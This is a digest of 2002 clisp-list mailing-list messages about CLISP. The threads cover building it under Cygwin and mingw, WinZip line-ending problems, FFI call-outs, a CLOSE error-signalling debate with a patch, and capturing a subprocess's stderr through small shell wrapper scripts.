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Hi, CLISP huggers.

Who knows how to execute memory image file which is distributed with clisp function "saveinitmem" in C program, I ceate a *.bat file, it can initialize my clisp memory file mylispprogram.bat like this :@echo off
"C:/clisp/lisp.exe" -B "C:/clisp/" -M "C:/clisp/a.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9
Now, mylispprogram.bat file can work well, but I want to design a priendly and convenient user interface so that users can call my lisp functions to do their work in the user interface. I means that how to set up a connection from C program to lisp memory file, i.e, how to start the lisp memory file in C program first step? Certainly, other lisp dialects such as lispworks, Allegro CL, they provide built-in CAPI packages through which we can develop user interface conveniently, but they are not free. So I study clisp for windows to see whether I can develop a user interface to deal with lisp calling.

Thanks.

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> * In message <20020815114844.59396.qmail@web21004.mail.yahoo.com>
> * On the subject of "[clisp-list] how to start the lisp memory file in C application"
> * Sent on Thu, 15 Aug 2002 12:48:44 +0100 (BST)
> * Honorable Huaiyan Gao <gaohuaiyan@yahoo.co.uk> writes:
>
> Now, mylispprogram.bat file can work well, but I want to design a
> priendly and convenient user interface so that users can call my lisp
> functions to do their work in the user interface. I means that how to
> set up a connection from C program to lisp memory file, i.e, how to
> start the lisp memory file in C program first step?

I think I (and others) answered this question already.

1. there is GDI interface from Dan Stanger.

2. there is inspect.lisp which uses your web browser for GUI.

3. you can write your own C program that will display GUI and
   communicate with the lisp process via a socket.

Please choose your path and ask more specific questions.

If your question is actually "How can I use CLIM with CLISP", then the
answer is "you cannot at this time - unless you implement it first,
which you are welcome to do".

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Hello,

I thought i'd try to compile the latest CLISP from sources under Cygwin
"mingw", and i hit a few snags. Maybe someone here could help me:

(1) I downloaded the CLISP CVS snapshot from SourceForge yesterday morning.
Untarred it in my Windows98 machine (using Winzip), and i found out that all
files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of just
LF as it should be). So, when i do a CVS get against this tree, CVS adds
another CR at the end of each line (i end up with CR+LF+CR), which messes up
cygwin's bash. I was able to go around this by using "cvs get -kb", but i
wonder why it happened. Is it possible that the tree was transferred by FTP
in ASCII mode to a Windows machine before it was tarred?

(2) I tried running "configure --with-mingw" (under Cygwin's bash shell). It
took just over 2 1/2 hours (!!!) to run in my 200MHz PII with Windows 98.
When it finally finished, it looks like it didn't find a lot of important
stuff (e.g.: sockets), and i ended up with an incomplete set of make files.

Does this version (the one in CVS) compile (and is usable) with mingw? Or
should i try the standard Cygwin?

Is there any quicker way to do this? Do i REALLY have to run the configure
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> * In message <F5F5D222CD70D111886C00805FE69D2104F8C771@schexch1.sch.experian.com>
> * On the subject of "[clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness"
> * Sent on Fri, 16 Aug 2002 07:23:54 -0700
> * Honorable "Ribeiro, Glauber" <glauber.ribeiro@experian.com> writes:
>
> (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday
> morning.  Untarred it in my Windows98 machine (using Winzip), and i
> found out that all files in the CVS tree seem to have MSDOS line ends
> (CR+LF, instead of just LF as it should be). So, when i do a CVS get

this is weird.

> against this tree, CVS adds another CR at the end of each line (i end
> up with CR+LF+CR), which messes up cygwin's bash. I was able to go
> around this by using "cvs get -kb", but i wonder why it happened. Is
> it possible that the tree was transferred by FTP in ASCII mode to a
> Windows machine before it was tarred?

when you installed cygwin, did you tell it to use "LF" or "CR/LF" line
termination mode?

> (2) I tried running "configure --with-mingw" (under Cygwin's bash
> shell). It took just over 2 1/2 hours (!!!) to run in my 200MHz PII
> with Windows 98.

ouch!  how much RAM do you have?!

> When it finally finished, it looks like it didn't find a lot of
> important stuff (e.g.: sockets), and i ended up with an incomplete set
> of make files.

what does "incomplete set of make files" mean?
you could not build?
what error messages?

> Does this version (the one in CVS) compile (and is usable) with mingw?

yes.

> Or should i try the standard Cygwin?

this is certainly an option - and it will allow you to build in a
separate directory too!  (this is not available with win32_native until
Arseny implements symbolic links)

also, this should give you readline line editing (not available with
win32_native).

the downside is slower directory access (this is a cygwin problem, not
a CLISP one).

> Is there any quicker way to do this? Do i REALLY have to run the
> configure script?

I am afraid yes.

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-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Friday, August 16, 2002 9:55 AM
To: Ribeiro, Glauber
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Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS
strangeness


[...]

] 
] > against this tree, CVS adds another CR at the end of each line (i end
] > up with CR+LF+CR), which messes up cygwin's bash. I was able to go
] > around this by using "cvs get -kb", but i wonder why it happened. Is
] > it possible that the tree was transferred by FTP in ASCII mode to a
] > Windows machine before it was tarred?
] 
] when you installed cygwin, did you tell it to use "LF" or "CR/LF" line
] termination mode?


LF, i think.


] > (2) I tried running "configure --with-mingw" (under Cygwin's bash
] > shell). It took just over 2 1/2 hours (!!!) to run in my 200MHz PII
] > with Windows 98.
] 
] ouch!  how much RAM do you have?!

192MB


] > When it finally finished, it looks like it didn't find a lot of
] > important stuff (e.g.: sockets), and i ended up with an incomplete set
] > of make files.
] 
] what does "incomplete set of make files" mean?
] you could not build?
] what error messages?


I haven't been able to really run a make yet, since the configure
took all my time yesterday (will try tonight). But the first
problem i found was that makemake was empty (other than for the
comment that it was generated from makemake.in). I copied
makemake.in to makemake, and that generated a Makefile. If i have
time, i'll try it tonight. It's hard to experiment too much, since
configure takes too long and i can't interrupt it without having
to start again from the beginning. I'm thinking i won't be able
to do this compile.

During the configure step, it was "not finding" a lot of
important stuff (like sockets, both IPv4 and IPv6).


[...]

g


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> (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday
morning.
> Untarred it in my Windows98 machine (using Winzip), and i found out that
all
> files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of just
> LF as it should be).

I think that WinZip is quilty here.

Run WinZip and go to Options->Configuration->
Miscelaneous tab and uncheck "TAR file smart CR/LF
conversion".


HTH




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Eduardo, Glauber,

I recommend avoiding WinZip entirely for anything Unixy or Cygwin-destined.

There's more to this issue than line endings, though that's a major one.=20
Another is links, both symbolic and hard. Only Cygwin TAR will handle them=
=20
properly. While you can change the "smart" text handling option in WinZip,=
=20
you cannot get it to handle links correctly.

Hard links might be a problem in some cases, at least when some code=20
(script, C/C++ or otherwise) assumes or requires them to work correctly,=20
but Cygwin-hosted programs will usually work because even if the underlying=
=20
file system does not support hard links (only NTFS does), the Cygwin kernel=
=20
(Cygwin1.dll) will make a copy when a hard link is not possible.

Soft links / symbolic links are always supported, proving you go through a=
=20
Cygwin application to create or resolve them.

Randall Schulz
Mountain View, CA USA


At 09:47 2002-08-16, Eduardo Mu=F1oz wrote:
> > (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday=
 morning.
> > Untarred it in my Windows98 machine (using Winzip), and i found out=20
> that all
> > files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of=
 just
> > LF as it should be).
>
>I think that WinZip is quilty here.
>
>Run WinZip and go to Options->Configuration->
>Miscelaneous tab and uncheck "TAR file smart CR/LF
>conversion".
>
>
>HTH



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 > I recommend avoiding WinZip entirely for anything Unixy or Cygwin-destined.

I realize this is off-topic, but if it helps, I've got working Windows
95/98/NT/2000 versions of tar, gzip, and zip/unzip (incl. making
self-extracting ZIPs) that do not depend on Cygwin and that I've been
using w/out problems for many years.  You can grab them at

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John,

I'm dubious about a non-Cygwin app properly dealing with links of either 
kind. While it's possible they may copy when a hard link is impossible 
(cross-device or non-NTFS), but compatibility with Cygwin symlinks or any 
other proper disposition of a symlink indicated in the TAR archive seems 
unlikely.

What do you know about how these utilities handle links?

Randall Schulz
Mountain View, CA USA


At 10:33 2002-08-16, John K. Hinsdale wrote:

>  > I recommend avoiding WinZip entirely for anything Unixy or 
> Cygwin-destined.
>
>I realize this is off-topic, but if it helps, I've got working Windows
>95/98/NT/2000 versions of tar, gzip, and zip/unzip (incl. making
>self-extracting ZIPs) that do not depend on Cygwin and that I've been
>using w/out problems for many years.  You can grab them at
>
>         http://www.alma.com/tools/winarch/



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 > I'm dubious about a non-Cygwin app properly dealing with links of either 
 > kind. ... compatibility with ... symlinks seems  unlikely.

 > What do you know about how these utilities handle links?

oops, I only meant that these utils worked for me as far as the CR/LF
issues I saw on this thread -- they don't make any attempt to try to
translate, but rather extract exactly what is in the file, which for
me is the right thing..  I did not mean to represent they did anything
reasonable w/ hard links and symlinks.  Sorry for the confusion.

 > What do you know about how these utilities handle links?

Out of curiosity I just checked the "tar" and it appears to fail
completely when it sees symlinks, and create a copy if it can when it
sees a hard link.

The main reason I've used these particular versions over Cygwin based
ones is that they don't depend at all on registry settings etc.  and
always work the same way.  But that was long ago and perhaps these 
issues have been laid to rest by Cygnus.  "your mileage may vary"

	cheers,

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Thanks for the hint on Winzip; that was, really, the source of my problem
with the CVS bundle (Winzip improperly treating CVS files as if they were
text files... Yikes!).

I don't think there are any links inside the CVS bundle, so i'm probably ok
as far as links are concerned, but i agree, i should have used gzip and tar
from Cygwin instead of Winzip.

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Hi, John,

Cygwin does not strictly require the registry entries. Many things will 
work as long as Cygwin1.dll can be found in the PATH.

The primary function of the registry is to hold the mount table. If those 
entries are missing, then there simply won't be a file system (from the 
Cygwin program's perspective) below "/" and only the unmounted volumes 
directory ("/cygdrive/<DriveLetter>") and the "/dev" and "/proc" synthetic 
directories are available.

Anyway, you're right--this is pretty much off-topic, but since it seems 
that fairly many people are using Cygwin it's worth getting some basic 
facts on the record here.


As an aside, I've got a new motherboard in my system, so accounting for 
some catch-up work, I can now get back to preparing a Cygwin package for 
CLISP 2.2.9.


Randall Schulz
Mountain View, CA USA


At 12:00 2002-08-16, John K. Hinsdale wrote:

>  > I'm dubious about a non-Cygwin app properly dealing with links of either
>  > kind. ... compatibility with ... symlinks seems  unlikely.
>
>  > What do you know about how these utilities handle links?
>
>oops, I only meant that these utils worked for me as far as the CR/LF
>issues I saw on this thread -- they don't make any attempt to try to
>translate, but rather extract exactly what is in the file, which for
>me is the right thing..  I did not mean to represent they did anything
>reasonable w/ hard links and symlinks.  Sorry for the confusion.
>
>  > What do you know about how these utilities handle links?
>
>Out of curiosity I just checked the "tar" and it appears to fail
>completely when it sees symlinks, and create a copy if it can when it
>sees a hard link.
>
>The main reason I've used these particular versions over Cygwin based
>ones is that they don't depend at all on registry settings etc.  and
>always work the same way.  But that was long ago and perhaps these
>issues have been laid to rest by Cygnus.  "your mileage may vary"
>
>         cheers,
>
>---
>John Hinsdale



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Hello,

I'm having trouble running the CLX demos from clisp 2.29... Here's what
I did:

$ cd clisp-2.29/modules/clx/new-clx/demos/
$ clisp -K full
[1]> (load "clx-demos.lisp")

;; Loading file clx-demos.lisp ...
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"clx-demos.lisp" @34>:
#<PACKAGE XLIB> has no external symbol with name "OPEN-DISPLAY"
1. Break CLX-DEMOS[2]> 

Did I do something wrong or is there some other problem?

Here's how I configured clisp:

./makemake  --prefix=/opt/clisp --with-readline --with-gettext
        --with-dynamic-ffi --with-dynamic-modules
        --with-export-syscalls --with-module=wildcard
        --with-module=regexp --with-module=bindings/linuxlibc6
        --with-module=clx/new-clx > Makefile

Thanks in advance for any help.

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> * In message <20020819104116.GA3587@noc.uoa.gr>
> * On the subject of "[clisp-list] CLX demos?"
> * Sent on Mon, 19 Aug 2002 13:41:16 +0300
> * Honorable Alexandros Diamantidis <adia@noc.uoa.gr> writes:
>
> I'm having trouble running the CLX demos from clisp 2.29... Here's
> what I did:
> 
> $ cd clisp-2.29/modules/clx/new-clx/demos/
> $ clisp -K full
> [1]> (load "clx-demos.lisp")
> 
> ;; Loading file clx-demos.lisp ...
> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"clx-demos.lisp" @34>:
> #<PACKAGE XLIB> has no external symbol with name "OPEN-DISPLAY"
> 1. Break CLX-DEMOS[2]> 
> 
> Did I do something wrong or is there some other problem?
> 
> Here's how I configured clisp:
> 
> ./makemake  --prefix=/opt/clisp --with-readline --with-gettext
>         --with-dynamic-ffi --with-dynamic-modules
>         --with-export-syscalls --with-module=wildcard
>         --with-module=regexp --with-module=bindings/linuxlibc6
>         --with-module=clx/new-clx > Makefile

weird - the demos work for me just fine.
did you do 'make install'?
what does

$ clisp -K full --version

say?

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I gave it another try. This time, i used only Cygwin utilities (gzip and
tar) to unpack the CVS tree, then used Cygwin cvs to get the source. As
expected, the CVS tree looked right, and the source code had Unix line
termination (LF only).

The results, though, were the same as before: "configure --with-mingw" ran
for just over 2.5 hours, and at the end it didn't generate "makemake".
Here's a copy of src/makemake after configure finished:

#!/bin/bash
# Generated from makemake.in by configure.

(just these 2 lines). Makemake.in is there, but it doesn't have the
substitutions (it has things like @CC@ in it, that probably get replaced
with the real name of the compiler, etc, by configure).

Has anybody else had this problem?

glauber


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* Sam Steingold <sds@gnu.org> [2002-08-19 09:27]:
> weird - the demos work for me just fine.
> did you do 'make install'?

I'm sorry, it was a local problem after all. I remembered that while I
was building clisp, I had found it stopped at a clisp prompt (probably
with some error message). I just ignored it and pressed C-d, and the build
seemed to finish without other problems. Afterwards, I did "make
install". That was the installation that didn't work.

I tried deleting everything, unpacking the clisp distribution anew, and
rebuilding. This time the build didn't have any problems, and the demos
work fine now.

Unfortunately I don't know what I did differently last time to cause
this...

-- 
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Sam Steingold wrote:
>actually this behavior is mandated by the ANSI CL spec: CLOSE cannot
>signal an error.

I cannot believe so, i.e., I suspect misinterpretation of the CLHS. But I'm not firm at standard interpretation.

I believe you read:
http://www.lispworks.com/reference/HyperSpec/Body/f_close.htm#close
"Exceptional Situations: None."

But similar text is there for FINISH/FORCE/CLEAR-OUTPUT:
http://www.lispworks.com/reference/HyperSpec/Body/f_finish.htm#force-output
"Exceptional Situations:
Should signal an error of type type-error if output-stream is not a stream designator."

-- That's all it says.
Yet we all know that forcing a buffer to the file systems can result in I/O errors (like any read or write can). So would that mean that CLHS mandates such I/O errors be explicitly ignored?! I'm sure it's not the case. It cannot be the case (what a sin against reliability!).

Neither is an I/O error is mentioned under exceptional situations for WRITE-SEQUENCE et al.

I believe "exceptional situations" is not an exhaustive list. Kent M Pitman said something on this topic on cll in July this year.

I'm sure the CLHS does *not* mandate that the application/programmer never sees any error generated by the OS calls underlying WRITE, FORCE-OUTPUT or CLOSE.
Or CLISP is inconsistent again: CLOSE shall not signal errors, while WRITE could?

Kent Pitman said:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=sfw65zkaitb.fsf%40shell01.TheWorld.com&rnum=1&prev=/groups%3Fas_q%3Dexceptional%2Bsituations%26num%3D20%26as_scoring%3Dr%26hl%3Den%26ie%3DISO-8859-1%26btnG%3DGoogle%2BSearch%26as_epq%3D%26as_oq%3D%26as_eq%3D%26as_ugroup%3Dcomp.lang.lisp%26as_usubject%3D%26as_uauthors%3Dpitman%26as_umsgid%3D%26lr%3D%26as_drrb%3Dq%26as_qdr%3D%26as_mind%3D12%26as_minm%3D1%26as_miny%3D2002%26as_maxd%3D20%26as_maxm%3D8%26as_maxy%3D2002%26safe%3Dimages
>So since you can neither conclude things from the presence nor the absence
>of text in the Exceptional Situations section, you are indeed reading more
>into it than is intended, but you are doing so in part, I'm betting, because
>you misunderstand an "Exceptional Situation" to be a requirement or permission
>to signal or not signal, and it isn't that at all.

I believe this could describe why Sam (IMHO wrongly) states "CLOSE cannot signal an error".
Kent said:
>The absence of exceptional situations does not mean "this function has no
>exceptional situations".  It means "no text was put here".  

Regards,
	Jorg Hohle.


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I need to find the documentation describing the basic techniques
(step by step) of using c-callouts.  Specifically, what is the syntax,
where would a c function reside, and how can I inform clisp about the c
function's location?

I've found a little information in the implementation notes (i.e., calling
out to gethostname) but this example doesn't work for me.

thanks,
Leland H.



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> * In message <Pine.GSO.4.44.0208200855510.21193-100000@boreas.ecs.syr.edu>
> * On the subject of "[clisp-list] ffi intro (c-callouts)"
> * Sent on Tue, 20 Aug 2002 09:08:29 -0400 (EDT)
> * Honorable Leland Hovey <lhovey@ecs.syr.edu> writes:
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> I need to find the documentation describing the basic techniques (step
> by step) of using c-callouts.  Specifically, what is the syntax, where
> would a c function reside, and how can I inform clisp about the c
> function's location?
> 
> I've found a little information in the implementation notes (i.e., calling
> out to gethostname) but this example doesn't work for me.

you might want to look at the modules sources, e.g.,
bindings/linuxlibc6.


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Hi,

Leland Hovey asks:

>I need to find the documentation describing the basic techniques
>(step by step) of using c-callouts.
>Specifically, what is the syntax,
I believe this is covered in enough depth in the impnotes.txt. Do you need more examples (found at the bottom of the FFI chapter)?

>where would a c function reside,
In an object module or shared library that you need to open or link against the CLISP binary.

> and how can I inform clisp about the c
>function's location?
Usually done internally via DEF-CALL-OUT or similar forms. These are wrappers that'll try to find the location for you. (If you pass from ffi intro to expert level you could even construct foreign function objects on the fly :)


>I've found a little information in the implementation notes 
>(i.e., calling
>out to gethostname) but this example doesn't work for me.

It would help us if you could be more/very specific about the exact nature of the problem.
Having examples work is a good start for learning.

Do the modules in directories modules/foo/bar help you?

Also, what OS and CLISP are your using?

Regards,
	Jorg Hohle.


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Okay, suppose I buy that.
What behavior would you expect from
        (CLOSE *TERMINAL-IO*) ==> ?
An error, right?
What about
        (CLOSE *STANDARD-OUTPUT*) ==> ?
*STANDARD-OUTPUT* is #<IO SYNONYM-STREAM *TERMINAL-IO*>.
closing of SYNONYM-STREAMs is non-recursive, so this does not affect
*TERMINAL-IO*, but it certainly makes further i/o impossible.
Your logic dictates that CLOSE must check all streams for being the
value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c.
Isn't it too much?

Let us step back and ask: what problem are we trying to solve here?
I seem to recall vaguely that the problem was that the closed terminal
stream was causing a crash - right?
In that case, we should build --with-debug and see why it was closed in
the first place.

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 > I need to find the documentation describing the basic techniques
 > (step by step) of using c-callouts.

 > I've found a little information in the implementation notes (i.e., calling
 > out to gethostname) but this example doesn't work for me.

Hmmmm ... I just wrote a CLISP wrapper for a "C" lib and I found the
CLISP FFI documentation to be quite copious and detailed.  Maybe
you're checking the "FAQ" and the Implementation Notes?  You want this:
    http://clisp.sourceforge.net/impnotes.html
It's rather big (1MB) so you should save it to your hard drive and
bookmark it; you'll be reading it a lot :).  See the section marked
"Extensions 2.3 - The Foreign Function Call Facility".

I also recommend analyzing the "regexp" add-on module and following
that pattern.  I think there is a also a "toy" example but it was not
sufficiently complicated to exercise and illustrate all the features I
needed.  If you want specific help also feel free to Email me
privately.

Once you get into reading it, though, the CLISP docs really are
refreshingly well done.

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So my OS is Solaris 8 and I've got clisp-2.29.

function definition (file c-callout.lisp):
(ffi:def-c-call-out gethostname
    (:arguments (name (ffi:c-ptr (ffi:c-array-max ffi:char 256))
                      :out :alloca)
                      (len ffi:int))
    (:return-type ffi:int))
-------------------------------------------------------------------
result from clisp:
(load "c-callout.lisp")
;; Loading file /home/cisgrad/lhovey/lisp/c-callout.lisp ...
*** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "gethostname" does
not exist
------------------------------------------------------------------

> Do the modules in directories modules/foo/bar help you?
I searched the clisp-2.29 directory branch but there isn't a
modules/foo/bar subdirectory.  Could I have only a partial install?

-L

On Tue, 20 Aug 2002, Hoehle, Joerg-Cyril wrote:

> Hi,
>
> Leland Hovey asks:
>
> >I need to find the documentation describing the basic techniques
> >(step by step) of using c-callouts.
> >Specifically, what is the syntax,
> I believe this is covered in enough depth in the impnotes.txt. Do you need more examples (found at the bottom of the FFI chapter)?
>
> >where would a c function reside,
> In an object module or shared library that you need to open or link against the CLISP binary.
>
> > and how can I inform clisp about the c
> >function's location?
> Usually done internally via DEF-CALL-OUT or similar forms. These are wrappers that'll try to find the location for you. (If you pass from ffi intro to expert level you could even construct foreign function objects on the fly :)
>
>
> >I've found a little information in the implementation notes
> >(i.e., calling
> >out to gethostname) but this example doesn't work for me.
>
> It would help us if you could be more/very specific about the exact nature of the problem.
> Having examples work is a good start for learning.
>
> Do the modules in directories modules/foo/bar help you?
>
> Also, what OS and CLISP are your using?
>
> Regards,
> 	Jorg Hohle.
>



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Date: Tue Aug 20 07:47:05 2002
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 > result from clisp:
 > ... 
 > *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "gethostname" does
 > not exist

Might be that you are not running the "full" clisp which is the one
that links in the extra C funcs.  Go the subdir "src/full" and in there
run 
	./lisp.run -M lispinit.mem

and load your lisp file.

Also, don't use the filename "c-callout.c" for your C funcs - your
code will get clobbered when "c-callout.lisp" is compiled into
"c-callout.c"  Use some other name for your C files.

 > I searched the clisp-2.29 directory branch but there isn't a
 > modules/foo/bar subdirectory.  Could I have only a partial install?

I love the quoting problem.  He means modules/<foo>/<bar> with example
being "modules/regexp" ...

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Sam Steingold wrote:
>Your logic dictates that CLOSE must check all streams for being the
>value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c.
No. That's why I tried to be very precise and said
(close #<the terminal io object>), not (close *terminal-io*).
In every session, there's a (generally unique) such thing, while *terminal-io* may be bound to anything, likewise *standard-output*.

So the only chek I once had was in the C
low_level_close(object stream)
 { switch strm_type(object) {
     case strm_type_xyz: ....; break;
     case strm_type_terminal:
       raise error; } }

>What behavior would you expect from
>        (CLOSE *TERMINAL-IO*) ==> ?
>An error, right?
Depends on the value of the binding.
(let ((*terminal-io* (make-broadcast-stream))) (close *terminal-io*))
 -> no error.

I said "generally unique" because it's precisely at the time, many years ago, when I pointed at the problem of possibly closing the terminal-io object that Bruno added make_terminal_stream() which would 1) create a new such object if needed, and 2) bind *terminal-io* etc. to this newly created sane object.
In my version I had a unique such object that I did revive.


>Let us step back and ask: what problem are we trying to solve here?
>I seem to recall vaguely that the problem was that the closed terminal
>stream was causing a crash - right?
or was it throwing an error?
>In that case, we should build --with-debug and see why it was closed in
>the first place.
In my perception it's a GC like problem: the crash occurs much later than the fault. It's only when trying to access the #<closed terminal io object> that a program would be hit by the error.

That was an example for late early reporting in CLISP.


OTOH, another scenario: Suppose *foreign-encoding* would be true special variables, so the 1:1 restriction detection could only occur while calling a foreign function, not at SETF time.
Hmm... maybe using Lisp backtrace, one could still easily spot the place where this bindings takes place -- if it's a LET binding that gives the value, not a SETF. So the ease of spotting bogus values of *foreign-encoding* depends on a programers' custom: do the programmers use LET for the special variable, or SETF?

It seems every scenario may have differing forces/priorities/ease of spotting bugs/

BTW, I don't like --with-debug. It's C level debugging, while I prefer
to work in Lisp. The Lisp programmer should be able to find out what
went wrong in his/her Lisp application via the usual helpers like
Lisp backtrace, Lisp tracing or Lisp-level stepping, not by running
gdb against the C stack. In 10 years of working on/with CLISP, I only
used gdb when looking for gcc bugs or some things at the C level.
Which doesn't mean that a C backtrace doesn't reveal insightful things...

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE706462E30@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] Re: Can CLOSE signal an error? (was: CHARSET questio ns & early vs late error signaling)"
> * Sent on Tue, 20 Aug 2002 17:58:12 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >Your logic dictates that CLOSE must check all streams for being the
> >value of *STANDARD-OUTPUT*, *STANDARD-INPUT*, *QUERY-IO* &c &c &c &c.
> No. That's why I tried to be very precise and said
> (close #<the terminal io object>), not (close *terminal-io*).
that's what I meant too - you misunderstood me!
please read my message again.

> In every session, there's a (generally unique) such thing, while
> *terminal-io* may be bound to anything, likewise *standard-output*.
sure.

> I said "generally unique" because it's precisely at the time, many
> years ago, when I pointed at the problem of possibly closing the
> terminal-io object that Bruno added make_terminal_stream() which would
> 1) create a new such object if needed, and 2) bind *terminal-io*
> etc. to this newly created sane object. 
> In my version I had a unique such object that I did revive.

I see no difference between creating a new object and reviving the old
one.
The only difference that matters here is whether you permit closing
#<terminal-io> or not.
Or maybe you want fehler_value_stream() to restore the values silently
instead of signaling an error? Or make the error continuable?

if you want to detect closing system i/o streams, it is not enough to
forbid closing #<terminal-io> because, as I explained in the previous
message, *standard-output* is not bound to such values!
try the appended patch and see for yourself.


-- 
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--- stream.d.~1.307.~	Mon Aug 12 10:05:28 2002
+++ stream.d	Tue Aug 20 09:50:40 2002
@@ -10505,10 +10505,7 @@
 
 # Returns an interactive Terminal-Stream.
 # can trigger GC
-local object make_terminal_stream (void) {
-  return add_to_open_streams(make_terminal_stream_());
-}
-
+#define make_terminal_stream() make_terminal_stream_()
 
 # Window-Stream
 # =============
@@ -16154,7 +16151,7 @@
     #ifdef KEYBOARD
     case strmtype_keyboard: break;
     #endif
-    case strmtype_terminal: break;
+    case strmtype_terminal: fehler_illegal_streamop(S(close),stream);
     #ifdef SCREEN
     case strmtype_window: close_window(stream); break;
     #endif
--- constsym.d.~1.161.~	Tue Aug  6 15:55:46 2002
+++ constsym.d	Tue Aug 20 09:43:28 2002
@@ -915,6 +915,7 @@
 LISPSYM(set_stream_external_format,"SET-STREAM-EXTERNAL-FORMAT",system)
 LISPSYM(interactive_stream_p,"INTERACTIVE-STREAM-P",lisp)
 LISPSYM(built_in_stream_close,"BUILT-IN-STREAM-CLOSE",system)
+LISPSYM(close,"CLOSE",lisp)     /* error reporting in stream.d */
 LISPSYM(read_byte,"READ-BYTE",lisp)
 LISPSYM(read_byte_lookahead,"READ-BYTE-LOOKAHEAD",ext)
 LISPSYM(read_byte_will_hang_p,"READ-BYTE-WILL-HANG-P",ext)



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I have built clisp 2.29 in my cygwin environment with gcc 2.95, gcc 3.2 and 
gcc 3.1.1-4
without major problems (although I had to add -falign-functions=4 for gcc 
3.x and gcc 3.2 wouldn't work with safety less than 2).

Do you have full cygwin? Why don't you simply use ./configure <directory-path>?
I reckon that the configure is slow, I think even slower than the actual build

If you have full cygwin I could offer pre-built binaries

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Hi,

I am thinking about the following problem for a couple of hours now, but
it seems I cannot get it work. I want to call a Unix command from within
CLISP and return its output as a list of strings. The following
definition does just what I want:

(defun system-call (cmd &rest args)
  (let ((in (ext:run-program cmd :arguments args
                                 :input nil
                                 :output :stream)))
    (let ((res
      (loop as l = (read-line in nil)
        while l
          do
        collect l)))
      (close in)
      res)))

However, if the Unix command produces an error message to standard error
I cannot catch (or discard it):

[16]> (system-call "/usr/bin/ls" "-l" "/nothing")
/nothing: No such file or directory
NIL

Any ideas?

Thanks,

Thomas


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 > However, if the Unix command produces an error message to standard
 > error I cannot catch (or discard it):

One option that is kludgy but will at definitely work is to make the
following 2-line program (call it "combine_output"):

---- Cut here ---
#!/bin/sh
$* 2>&1
---- Cut here ---

Then use SYSTEM-CALL as you have defun'ed it, but using
"combine_output" as the program, and your real program as the first
argument:

(system-call "/path/to/comine_output" "/usr/bin/ls" "-l" "/nothing" "/more-nothing")

This worked for me (I got a list of two strings) on Linux.

If you want to _discard_ the errors (hmmmmmmm :) make a script called
"discard_errors" that does:
---- Cut here ---
#!/bin/sh
$* 2>/dev/null
---- Cut here ---

Then call as above.

BTW, what that "2" refers to is the Unix "standard error" stream.
Unix assigns the numbers 0,1,2 to three default streams, "input,"
"output" and "errors" (respectively) which it creates with every
program.  In the shell, you can re-direct where these go by referring
to the streams by number as above.  The directive "2>1" means "make
stream 2 (errors) go wherever stream 1 (normal output) goes."

In the case of merging the outputs, they will get interleaved in no
predictable order - this may create problems for you parsing them.
Because of buffering, Unix won't even guarantee that they appear in
the merged output in the order they were written to by the program
(!).  If you need access to the output and the error streams
separately, you may have to get uglier and save the errors to a
temp. file and read that.  If you're discarding the error stream
(hmmmm :) there's no problem.

There might be a better way but I thought I'd at least give you an
"out" to get through the day.

Good day!

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[let us move the discussion to the mailing list]

> did you receive this mail?

yes, and I replied to it yesterday:

do you have cygwin?  can you install it?
get the CLISP CVS head, then

$ make -f Makefile.devel makemake
$ ./makemake --with-dir-key --with-export-syscalls --with-dynamic-ffi \
     win32msvc msvc5 debug > src/makefile
$ cd src
$ nmake clean
$ nmake


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dear list,

has anyone else had trouble compiling CLISP with gcc 3?  i was getting a
problem where it would seg fault in a loop inside sublis_assoc in list.d.
it turned out that the problem was caused by line 1482 of list.d (if
memory serves). i simply commented that out and compiled and shockingly
it worked and even passed 'make test'!

i was wondering if 1) the lisp interpreter i built is really okay or
just pretending to be okay 2) anyone else had seen this problem 3) anyone
has a more satisfying solution.

regards,
james mcclain



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John, Thomas,

A slight improvement on John's solution is to use the "exec" shell 
built-in. This command causes the shell to overlay or replace itself (using 
the Unix / POSIX "exec" system call) with the specified command. Otherwise, 
the shell will "fork" and create a sub-process to run that command. When 
there's only one command, this is a wasted overhead.

Thus the "comine_output" script would look like this:

-==--==--==--==-
#!/bin/sh
exec $* 2>&1
-==--==--==--==-


It's also a very good idea to quote the arguments individually. To do that, 
use this alternate variable expansion syntax:

-==--==--==--==-
#!/bin/sh
exec "$@" 2>&1
-==--==--==--==-

If you don't do this, arguments with spaces or shell metacharacters (there 
are many) will causes error or misinterpretations of your invocation.


The "exec" command should be available in all shells. Only 
bourne-shell-like shells have "$@". That list includes (at least) the 
Bourne Shell, ASH, BASH and KSH.


Good luck.


Randall Schulz
Mountain View, CA USA


At 05:23 2002-08-23, John K. Hinsdale wrote:

>  > However, if the Unix command produces an error message to standard
>  > error I cannot catch (or discard it):
>
>One option that is kludgy but will at definitely work is to make the
>following 2-line program (call it "combine_output"):
>
>---- Cut here ---
>#!/bin/sh
>$* 2>&1
>---- Cut here ---
>
>Then use SYSTEM-CALL as you have defun'ed it, but using
>"combine_output" as the program, and your real program as the first
>argument:
>
>(system-call "/path/to/comine_output" "/usr/bin/ls" "-l" "/nothing" 
>"/more-nothing")
>
>This worked for me (I got a list of two strings) on Linux.
>
>If you want to _discard_ the errors (hmmmmmmm :) make a script called
>"discard_errors" that does:
>---- Cut here ---
>#!/bin/sh
>$* 2>/dev/null
>---- Cut here ---
>
>Then call as above.
>
>BTW, what that "2" refers to is the Unix "standard error" stream.
